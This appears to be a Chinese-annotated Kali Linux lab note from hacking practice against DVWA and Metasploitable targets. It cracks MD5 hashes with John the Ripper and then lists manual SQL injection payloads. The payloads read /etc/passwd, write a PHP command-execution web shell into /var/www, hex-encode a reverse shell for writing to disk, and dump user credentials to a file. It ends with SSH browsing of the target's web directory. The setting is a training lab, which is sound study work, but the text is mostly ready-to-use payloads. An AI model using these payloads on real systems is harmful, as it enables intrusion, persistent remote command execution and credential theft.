root@kali:~# john --format=raw-MD5 dvwa.txt
root@kali:~# cd .john/
root@kali:~/.john# ls
john.log john.pot
root@kali:~/.john# cat john.log
root@kali:~/.john# cat john.pot
root@kali:~/.john# rm * //删除破解日志,才能进行下面的工作
root@kali:~/.john# john --format=raw-MD5 dvwa.txt
手动漏洞挖掘-----SQL注入
读取文件
'union SELECT null,load_file('/etc/passwd')--+
写入文件
'union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php"--+
Mysql账号
cat php-revers-shell.php | xxd -ps | tr -d '\n'
'union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--
保存下载数据库
'union select ull,concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--
root@kali:~# ssh msfadmin@192.168.1.103
msfadmin@metasploitbale:~$ cd /var/
msfadmin@metasploitbale:/var$ cd www/
msfadmin@metasploitbale:/var/www$ ls
1.php dvwa mutillidea phpMyAdmin tikiwiki twiki
dva index.php phpinfo.php test tikiwiki-old
msfadmin@metasploitbale:/var/www/$ cd dvwa/
msfadmin@metasploitbale:/var/www/dvwa$ ls
about.php dvwa index.php php.ini
GHANGELOG.txt external instructions.php README.txt